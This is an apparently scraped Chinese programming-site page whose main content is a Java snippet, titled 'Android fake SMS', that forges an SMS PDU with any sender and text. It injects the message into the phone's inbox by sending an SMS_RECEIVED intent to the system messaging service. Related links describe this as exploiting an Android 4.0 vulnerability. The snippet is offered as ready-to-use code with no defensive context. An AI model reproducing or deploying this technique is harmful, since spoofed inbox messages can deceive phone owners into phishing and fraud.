Android 伪造短信
来源:互联网 发布:mysql存储过程中游标 编辑:程序博客网 时间:2024/05/17 08:37
//伪造短信到系统信箱private static void createFakeSms(Context context, String sender,String body) {byte[] pdu = null;byte[] scBytes = PhoneNumberUtils.networkPortionToCalledPartyBCD("0000000000");byte[] senderBytes = PhoneNumberUtils.networkPortionToCalledPartyBCD(sender);int lsmcs = scBytes.length;byte[] dateBytes = new byte[7];Calendar calendar = new GregorianCalendar();dateBytes[0] = reverseByte((byte) (calendar.get(Calendar.YEAR)));dateBytes[1] = reverseByte((byte) (calendar.get(Calendar.MONTH) + 1));dateBytes[2] = reverseByte((byte) (calendar.get(Calendar.DAY_OF_MONTH)));dateBytes[3] = reverseByte((byte) (calendar.get(Calendar.HOUR_OF_DAY)));dateBytes[4] = reverseByte((byte) (calendar.get(Calendar.MINUTE)));dateBytes[5] = reverseByte((byte) (calendar.get(Calendar.SECOND)));dateBytes[6] = reverseByte((byte) ((calendar.get(Calendar.ZONE_OFFSET) + calendar.get(Calendar.DST_OFFSET)) / (60 * 1000 * 15)));try {ByteArrayOutputStream bo = new ByteArrayOutputStream();bo.write(lsmcs);bo.write(scBytes);bo.write(0x04);bo.write((byte) sender.length());bo.write(senderBytes);bo.write(0x00);bo.write(0x00); // encoding: 0 for default 7bitbo.write(dateBytes);try {String sReflectedClassName = "com.android.internal.telephony.GsmAlphabet";Class cReflectedNFCExtras = Class.forName(sReflectedClassName);Method stringToGsm7BitPacked = cReflectedNFCExtras.getMethod("stringToGsm7BitPacked", new Class[] { String.class });stringToGsm7BitPacked.setAccessible(true);byte[] bodybytes = (byte[]) stringToGsm7BitPacked.invoke(null,body);bo.write(bodybytes);} catch (Exception e) {}pdu = bo.toByteArray();} catch (IOException e) {}Intent intent = new Intent();intent.setClassName("com.android.mms","com.android.mms.transaction.SmsReceiverService");intent.setAction("android.provider.Telephony.SMS_RECEIVED");intent.putExtra("pdus", new Object[] { pdu });intent.putExtra("format", "3gpp");context.startService(intent);}private static byte reverseByte(byte b) {return (byte) ((b & 0xF0) >> 4 | (b & 0x0F) << 4);}public void start(View view) {createFakeSms(getApplicationContext(), "0774110", "createFakeSms success");}
0 0
- Android 伪造短信
- android 对短信的操作(伪造信息)
- android安全问题(八)伪造短信(利用原生android4.0漏洞)
- android安全漏洞(八)伪造短信(利用原生android4.0漏洞)
- android 短信
- android短信
- Android 短信
- Android短信
- hook android api伪造设备信息做刷量
- Android短信窃听器短信拦截
- Android拦截短信,接收短信
- 手机短信真的可信吗# 传统短信伪造攻击的可能性证明
- android短信服务
- Android 电话 短信
- android收发短信
- android打电话,发短信
- android打电话,发短信
- Android 如何删除短信
- jdbcTemplate 获取数据表结构
- dll, lib
- IOS推送消息(java实现)
- Linux下跨服务器多log实时查看工具multitail使用
- 内部类问题
- Android 伪造短信
- ios 数据库操作
- 删除相同元素(线性表)
- 创建自己的博客come on!
- 忘记Oracle口令的解决办法
- SVM 自定义kernel的一个简单的code 例子
- Cocoapods的安装和使用
- 为什么在12306买火车票要装根证书?(转)
- github的Permission denied问题